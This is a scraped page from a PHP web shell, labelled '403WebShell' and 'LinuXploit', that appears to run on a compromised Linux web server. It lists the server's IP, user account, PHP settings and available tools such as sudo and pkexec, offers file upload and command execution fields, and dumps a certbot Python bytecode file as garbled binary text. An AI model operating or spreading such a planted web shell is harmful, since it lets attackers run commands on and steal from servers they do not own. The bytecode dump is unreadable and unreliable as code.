Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/current/lib64/python3.12/site-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/current/lib64/python3.12/site-packages/packaging/__pycache__/errors.cpython-312.pyc
�

��jx
���ddlmZddlZddlZddlZddlZdgZd
d�Zejdk\rddl	m
Z
nGd�de�Z
ejGd�d	��Z
y)�)�annotationsN�ExceptionGroupc��tS�N)�__all__���L/root/parts/certbot/install/lib/python3.12/site-packages/packaging/errors.py�__dir__rs���Nr	)��)rc�6�eZdZUdZded<ded<d	d�Zd
d�Zy)rz�A minimal implementation of :external:exc:`ExceptionGroup` from Python 3.11.

        If :external:exc:`ExceptionGroup` is already defined by Python itself,
        that version is used instead.
        �str�message�list[Exception]�
exceptionsc� �||_||_yr)rr)�selfrrs   r
�__init__zExceptionGroup.__init__s��"�D�L�(�D�Or	c�h�|jj�d|j�d|j�d�S)N�(z, �))�	__class__�__name__rr)rs r
�__repr__zExceptionGroup.__repr__!s1���n�n�-�-�.�a����/?�r�$�/�/�AT�TU�V�Vr	N)rrrr�return�None)rr)r�
__module__�__qualname__�__doc__�__annotations__rrrr	r
rrs��	���#�#�	)�	Wr	c��eZdZUdZej
ed��Zded<dd�Z	e
jdd��Ze
jd
d��Z
				dd	�Zy
)�_ErrorCollectora�
    Collect errors into ExceptionGroups.

    Used like this:

        collector = _ErrorCollector()
        # Add a single exception
        collector.error(ValueError("one"))

        # Supports nesting, including combining ExceptionGroups
        with collector.collect():
            raise ValueError("two")
        collector.finalize("Found some errors")

    Since making a collector and then calling finalize later is a common pattern,
    a convenience method ``on_exit`` is provided.
    F)�default_factory�initr�errorsc�H�|jrt||j��y)z0Raise a group exception if there are any errors.N)r&r�r�msgs  r
�finalizez_ErrorCollector.finalize;s���;�;� ��d�k�k�2�2�r	c#�6K�|��|j|�y�w)zx
        Calls finalize if no uncollected errors were present.

        Uncollected errors are raised normally.
        N)r*r(s  r
�on_exitz_ErrorCollector.on_exit@s�����
��
�
�c��s�c'��K�|xstf}	d��y#t$r/}|jj|j�Yd}~yd}~w|$r%}|jj|�Yd}~yd}~wwxYw�w)z�
        Context manager to collect errors into the error list.

        Must be inside loops, as only one error can be collected at a time.
        N)�	Exceptionrr&�extendr�append)r�err_cls�
error_classes�errors    r
�collectz_ErrorCollector.collectJsd���� �/�I�<�
�	&����	1��K�K���u�/�/�0�0���	&��K�K���u�%�%��	&�s<�A7��A7�	A4�%A�A7�A4�A/�*A7�/A4�4A7c�:�|jj|�y)zAdd an error to the list.N)r&r0)rr3s  r
r3z_ErrorCollector.errorYs��
	
�����5�!r	N)r)rrr)r)rrz-typing.Generator[_ErrorCollector, None, None])r1ztype[Exception]rz"typing.Generator[None, None, None])r3r.rr)rrrr �dataclasses�field�listr&r!r*�
contextlib�contextmanagerr,r4r3rr	r
r#r#%sr���$0�k�/�/��5�Q�F�O�Q�3�
���������&��&�"��"�
�"r	r#)rz	list[str])�
__future__rr9r6�sys�typingrr�version_info�builtinsrr.�	dataclassr#rr	r
�<module>rAsa��"���
�
��
������w��'�W��W�$
���8"�8"��8"r	

Youez - 2016 - github.com/yon3zu
LinuXploit